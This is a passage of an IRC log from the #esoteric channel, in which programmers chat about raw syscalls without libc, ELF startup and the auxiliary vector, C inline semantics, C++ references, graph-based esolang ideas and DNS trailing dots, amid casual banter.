:Apparently, some software ended up relying on uninitialized variables being filled with garbage < 1268429549 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: i can see that working in CoreWars < 1268429574 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :OS X apparently initializes such variables to 0, which caused problems < 1268429592 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What are you talking about? < 1268429593 0 :tombom_!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268429616 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://forums.activeworlds.com/showpost.php?p=123792&postcount=10 < 1268429697 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Weird. < 1268429713 0 :tombom!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268429897 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i wonder how that works < 1268429907 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :do you rely on garbage being uniformly distributed or something? < 1268429929 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Well, if you just rely on something being, say, true by default, then any value other than 0 will work. < 1268430168 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :If you pass the -nostdlib option to gcc can you use syscalls normally inside the program? < 1268430178 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :like fork(); < 1268430200 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, fork() is not actually a system call, but rather a function that performs the system call. < 1268430207 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Aah. < 1268430215 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :However, you could write said function yourself. < 1268430226 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, that's what I was doing. < 1268430228 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Just need a small bit of inline assembly and a willingness to say "screw portability". < 1268430277 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Well, you could always write the assembly in a separate file and use preprocessor directives to make it a little more portable. < 1268430297 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Which is exactly what *libc does :P < 1268430305 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268430354 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :My OS midterm (this class is so boring and tedious it hurts) there was a question putting forth that it is possible for all syscalls to be handled by a single function, but no system in reality does this, and asking why. < 1268430386 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :My answer was that nearly every system in reality does this, to simplify the interface to the kernel, and that the syscalls as visible to the user are just wrappers which raise a software interrupt, ultimately calling the same interrupt function. < 1268430409 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I don't really get interrupts... < 1268430423 0 :adam_d!~Adam@cpc2-acto6-0-0-cust48.brnt.cable.ntl.com JOIN :#esoteric < 1268430428 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Then re-enable them. < 1268430434 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :*ba-dum ching* < 1268430444 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Ah, that was humourous. < 1268430476 0 :sebbu2!~sebbu@ADijon-152-1-7-166.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268430488 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :On x86-64, I doubt you even need that bit of inline assembly; there's a syscall invocation code you could possibly simply call in the VDSO "virtual-library" thing provided by the kernel. < 1268430507 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You'll still need to screw the portability, of course. < 1268430527 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: I'm pretty sure that that's done by deep linker magic. < 1268430529 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268430530 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1268430557 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: That's provided on every platform I know of, in particular x86. < 1268430560 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :(On Linux, of course) < 1268430584 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Also, yeah, that virtual library is not provided by the kernel, it's provided by the dynamic linker. < 1268430691 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No, it's *provided* by the kernel but *loaded* by the dynamic linker. < 1268430732 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :In any case you can make use of it without linking against libc. < 1268430735 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And the address is in the ELF auxilliary vector, passed as the 4th argument to main. < 1268430748 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :AAARGH! < 1268430755 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :So complicated! < 1268430765 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: That doesn't answer many questions, main() is called by _start, not the kernel ... < 1268430801 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Mind you, it could just be that it's sitting on the top of the stack when _start is called, that would be the logical place for it. < 1268430803 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: And doesn't _start just pass arguments through to main after initialising things? < 1268430828 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Not really, no. _start doesn't get an argc, so it has to make it, and envp isn't a pointer, it's just the environment dumped directly into the stack. < 1268430838 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1268430844 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :For that matter, argv isn't a pointer, it's just the args dumped directly into the stack :P < 1268430854 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION reads up further
< 1268430895 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yuh, the ELF loader dumps auxv on the stack. < 1268430951 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :If it's too complicated, you don't have to use it; if you instead want the simple way of having that bit of inline assembly. I've done both int 80h on x86-32 and the "syscall" instruction on x86-64 manually here and there. Just stick things into proper registers, that's about it. < 1268431014 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: http://pastebin.ca/1836084 :) < 1268431031 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Before segfaulting, that code is quite amusing :P < 1268431045 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Heheheh. < 1268431153 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmkay, from the looks of things the auxv is after the end of envp. < 1268431177 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So, look for the NULL at the end of envp and you have auxv. < 1268431187 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Yup < 1268431197 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :main() is for pussies. < 1268431203 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Heheheh. < 1268431351 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, and think of the efficiency! If you just start at _start, your code runs a lot earlier! < 1268431375 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And if you make everything static functions, you can optimise THE WHOLE PROGRAM! < 1268431383 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :static inline < 1268431387 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Just inline everything into _start < 1268431396 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :And if you RET at the beginning, you've got an O(1) approximation to everything. < 1268431402 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: The "inline" keyword doesn't actually cause any inlining. < 1268431410 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: It's a suggestion though :P < 1268431419 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :You're at least politely requesting that the compiler please inline. < 1268431419 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It just tells the compiler to ignore a redundant definition. < 1268431430 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Except for GNU inline. Which does odder things. < 1268431474 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(called "GNU inline" because of GCC's behavior of inline before it was an actual keyword. Can now be enabled with __attribute__((gnuinline))) < 1268431500 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :inline_dammit < 1268431528 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :also GCC's "extern inline" < 1268431533 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :GCC does have that __attribute__ ((always_inline)) you can try to use, though I wouldn't trust it any further than I could throw it. < 1268431560 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268431622 0 :tombom__!tombom@86.24.18.197 JOIN :#esoteric < 1268431668 0 :tombom__!unknown@unknown.invalid QUIT :Client Quit < 1268431688 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: It works well because it errors if it fails < 1268431738 0 :tombom_!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268431754 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: It's not necessarily a good *idea*, but it definitely *works*. < 1268432203 0 :adam_d_!~Adam@cpc2-acto6-0-0-cust48.brnt.cable.ntl.com JOIN :#esoteric < 1268432352 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268432389 0 :cpressey!~CPressey@173-9-215-173-Illinois.hfc.comcastbusiness.net JOIN :#esoteric < 1268432869 0 :impomatic!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100202165920] < 1268432914 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :gah c++ references < 1268432925 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :c++ kinda makes me sad for humanity < 1268432936 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :people use all these horrible features and *like* them < 1268433011 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :and what do you prefer < 1268433147 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :C++++ < 1268433152 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Pure virtual templates ftw < 1268433202 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer: not using references < 1268433221 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :int x = 2; foo(x); // x could be anything < 1268433244 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :but you just said it was 2? what? < 1268433257 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's just horrendous, it's not even the feature itself i object to but the fact that people actually use it and think it's a good idea < 1268433281 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer: that's c++, foo(x) can modify the actual value of x < 1268433311 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Hey, you need SOME way to overload assignment < 1268433316 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :you could do this in C with foo(&) which is 10000 times better < 1268433323 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :foo(&x) i mean < 1268433340 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Using a pointer allows null, which may not be desirable < 1268433354 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :but then if I have to pass a pointer by reference I will need to take a pointer to a pointer and AHHH I'M CONFUSED < 1268433363 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1268433431 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :And then there's the question of whether foo(&&x) makes sense to the compiler. < 1268433449 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1268433519 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Why do people think MW is a poor medium for discussion? < 1268433547 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :It works just as well as a standard forum. < 1268433662 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Does it show you what part of the discussion you've read, and what's unread, in some sensible way? < 1268433681 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :No, but in my experience that doesn't really come up. < 1268433708 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :In my experience that's pretty crucial; granted, "my experience" is pretty much just Usenet, which is not quite a forum. < 1268433713 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Particularly not in such a small place as the esolang wiki. < 1268434015 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: it does if you use the history diff < 1268434028 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ok maybe not "sensible", but it's what i do < 1268434046 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess that would work. < 1268434056 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It could be just some sort of philosophical objection about not using the right tool for the right job; though that would seem really out-of-place on the esolang wiki, too. < 1268434065 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1268434128 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well i nearly always use the diff on the main articles anyway, so... < 1268434194 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :The problem with the whole esolang community is that it's hell for the impatient. < 1268434260 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well i guess this channel is our only realtime forum < 1268434273 0 :nooga!~nooga@sc82.internetdsl.tpnet.pl JOIN :#esoteric < 1268434273 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the others i just check now and then < 1268434274 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yes... < 1268434287 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Aside from our annual conference, yes. < 1268434289 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: the whole esolang community is this channel. < 1268434293 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(including the "forum", which has rss btw) < 1268434294 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :This channel also has some problems staying on target. < 1268434298 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :And the wiki. < 1268434301 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :(.) (.) < 1268434334 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :The wiki is most certainly legit. < 1268434337 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Lament: And hence if the person you want to talk to isn't on the channel it's infuriating. < 1268434358 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268434362 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: if i'm not on the channel i'm most likely not on the internet at all < 1268434644 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: And if you're not on the internet, you're NOBODY. < 1268434684 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :So, I'd like to design an esolang which is basically an imperative machine except where each of the instructions is represented by an (unlabelled, undirected) graph. < 1268434743 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's a good thing to do; there's been far too few graphy things so far. < 1268434743 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :This would necessitate using graph isomorphism to recognize instructions and execute programs, and since it's not known if GI runs in polynomial time, programs in this language have an ... interesting lower bound. < 1268434784 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: have you looked at eodermdrome? < 1268434792 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :s/GI runs/GI is solvable/ < 1268434795 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: briefly < 1268434840 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :I thought it was doing something different with graphs < 1268434876 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm yeah the instructions are subgraph substitutions < 1268434896 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it does have that subgraph isomorphism problem though < 1268434902 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Bye. < 1268434905 0 :Phantom_Hoover!unknown@unknown.invalid QUIT :Quit: ChatZilla 0.9.86 [Firefox 3.5.8/20100214235838] < 1268434947 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(which is even NP-complete, except eodermdrome also has that 26-vertex subgraph limit) < 1268435014 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :cpressey: if you don't _want_ your language to be that hard to run, you could probably select instruction graphs that were somewhat easier to recognize < 1268435015 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Knowing that it is NP-complete makes it somewhat less interesting... the interesting thing about GI is that not much is known about where it stands w.r.t P and NP < 1268435038 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268435491 0 :ttm!unknown@unknown.invalid QUIT :Quit: Seeeeeya < 1268435754 0 :Ilari!unknown@unknown.invalid PRIVMSG #esoteric :NP-complete does not mean hopeless in all cases: In this case, if subgraphs to recognize are fixed, it seems there is polynomial algo... < 1268435831 0 :dbc!~daniel@130-94-161-238-dsl.hevanet.com JOIN :#esoteric < 1268435839 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Another thing I was trying to come up with (only tangentially related) is a purely functional, yet concise, notation for constructing (again, unlabelled) graphs. What I've got so far is only so-so. < 1268435859 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Ilari: yes < 1268436122 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm reviewing my game with coppro < 1268436140 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :An observer mentioned that he could have captured my queen if he saw a certain move, but he didn't < 1268436232 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268436517 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268437917 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So, a program running as root can escape from plash, right? < 1268438044 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :plash doesn't run programs as root, but if a program got root within plash, it could escape, although it'd be pretty tricky. < 1268438250 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :plash? < 1268438417 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :plash is better than you. < 1268438424 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Or something :P < 1268438604 0 :cpressey!unknown@unknown.invalid PRIVMSG #esoteric :Yay, just got HOL Light installed (under cygwin...) and proved something with it < 1268438643 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Someone should make Plash for Windows < 1268438977 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: No. < 1268439196 0 :adam_d_!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268439843 0 :augur!~augur@pool-96-231-169-236.washdc.fios.verizon.net JOIN :#esoteric < 1268439921 0 :cpressey!unknown@unknown.invalid PART #esoteric :? < 1268440221 0 :MigoMipo!~4f6606ed@gateway/web/freenode/x-omtwelumnkhfohrw JOIN :#esoteric < 1268440557 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268440576 0 :FireFly!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268440620 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268440658 0 :FireFly!unknown@unknown.invalid QUIT :Write error: Broken pipe < 1268440829 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Good night < 1268441860 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :wow < 1268442265 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :wiw < 1268442280 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :waw < 1268442581 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :wuw < 1268442608 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :wyw < 1268442690 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :wew < 1268442706 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :wfw < 1268442708 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :c-c-c- < 1268442717 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :COMBO BREAKER? < 1268442730 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :HAI GAIS < 1268442735 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You could have continued using another semivowel, you know. < 1268442738 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Like "yay". < 1268442753 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :waw, wew, wiw, wow, wuw, wyw, yay, yey, yiy, yoy, yuy, yyy... < 1268442772 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :After that, proceed to the stuff that's almost a vowel. rar, rer, rir, ror, rur, ryr. < 1268442787 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Then other stuff that's almost a vowel: lal, lel, lil, lol, lul, lyl. < 1268442802 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And then some nasals: nan, nen, nin, non, nun, nyn, mam, mem, mim, mom, mum, mym. < 1268444010 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :erm < 1268444043 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :mer < 1268444044 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :rem < 1268444068 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Wow. http://to./ < 1268444075 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's a URL shortener. < 1268444232 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :how is this even possible < 1268444245 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :to is a TLD < 1268444252 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :For some country < 1268444261 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Some country clever enough to make the greatest URL shortener ever. < 1268444277 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Also, http://to/bleh works the same if your OS doesn't suck. < 1268444303 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :but why the dot at the end < 1268444358 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I've recently been reminded that that's always been the correct canonicalization, since the beginning of DNS (this is why BIND wants your hostnames to end in a .), not having a . is just a convenience. < 1268444536 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :why i cannot visit pl. or com. then? < 1268444608 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :com. does work, although it forwards to www.com. < 1268444616 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pl. also works < 1268444638 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh, sorry, my confusion, lemme restate: < 1268444645 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :bah < 1268444651 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i see it does noe < 1268444654 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :com and pl don't have A addresses, they have no host. www.com. does work, as does www.pl. < 1268444684 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :com. doesn't work for the same reason that com doesn't work, because the gigantulous company that controls the com TLD doesn't have any address there. < 1268444688 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Same with pl < 1268444830 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :wonder who controls it < 1268445897 0 :MigoMipo!unknown@unknown.invalid QUIT :Quit: Page closed < 1268446052 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In zone files, domain names ending in . are absolute and domain names not ending in . are relative. < 1268446105 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So if your domain name is foo.com., adding an A record for blah.foo.com. will make http://blah.foo.com/ go somewhere, and adding an A record for blah.foo.com will make http://blah.foo.com.foo.com/ go somewhere. < 1268446162 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268446457 0 :nooga_!~nooga@sc82.internetdsl.tpnet.pl JOIN :#esoteric < 1268446656 0 :nooga!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268448947 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268448971 0 :FireFly!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268449007 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268450136 0 :FireFly!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268450189 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268450220 0 :FireFly!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268450257 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268450291 0 :FireFly!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268450474 0 :kwertii!~kwertii@ResNet-35-132.resnet.ucsb.edu JOIN :#esoteric < 1268451039 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 615 seconds < 1268451541 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268452350 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :burp < 1268452388 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: i see < 1268452402 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :code red! quarantine broken! < 1268452460 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :wha.... < 1268452462 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION dons a gas mask.
< 1268452463 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268452469 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wraps nooga_ in plastic.
< 1268452485 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :mmffgffgf < 1268452494 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION pokes breathing holes in the plastic.
< 1268452501 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :hhhhhhh < 1268452507 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION pokes speaking holes in the plastic.
< 1268452517 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268452529 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION pokes speaking articulately holes in the plastic.
< 1268452532 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :that would actually make the plactic wrap pointles < 1268452538 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Indeed. < 1268452545 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wraps the holes in plastic.
< 1268452546 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There! < 1268452569 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :mmfgm. < 1268452596 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hey, now. The holes still exist, so you can still breathe and speak and speak articulately through them. < 1268452614 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :But they're also wrapped in plastic so no contaminants can get out. < 1268452616 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Genius, eh? < 1268453034 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268453058 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :wait a second < 1268453176 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :isn't france in the same time zone with warsaw? < 1268453182 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :i mean paris < 1268453215 0 :nooga_!unknown@unknown.invalid PRIVMSG #esoteric :night coding huh? < 1268453329 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268454797 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268454823 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION notes that alise hasn't been around for a few days
< 1268455588 0 :Libster!~Libster@pool-173-73-27-43.washdc.fios.verizon.net JOIN :#esoteric < 1268455590 0 :Libster!unknown@unknown.invalid PART #esoteric :? < 1268457468 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268457937 0 :nooga_!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268458345 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268458559 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268458580 0 :FireFly!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268459489 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268459965 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268460108 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268460746 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268461742 0 :MigoMipo!~4f6606ed@gateway/web/freenode/x-rjlhtwksgxferuvt JOIN :#esoteric < 1268466178 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1268466370 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268467199 0 :clog!unknown@unknown.invalid QUIT :ended < 1268467200 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268467294 0 :kwertii!unknown@unknown.invalid QUIT :Quit: bye < 1268468283 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268468520 0 :cheater2!~cheater@ip-80-226-230-32.vodafone-net.de JOIN :#esoteric < 1268469378 0 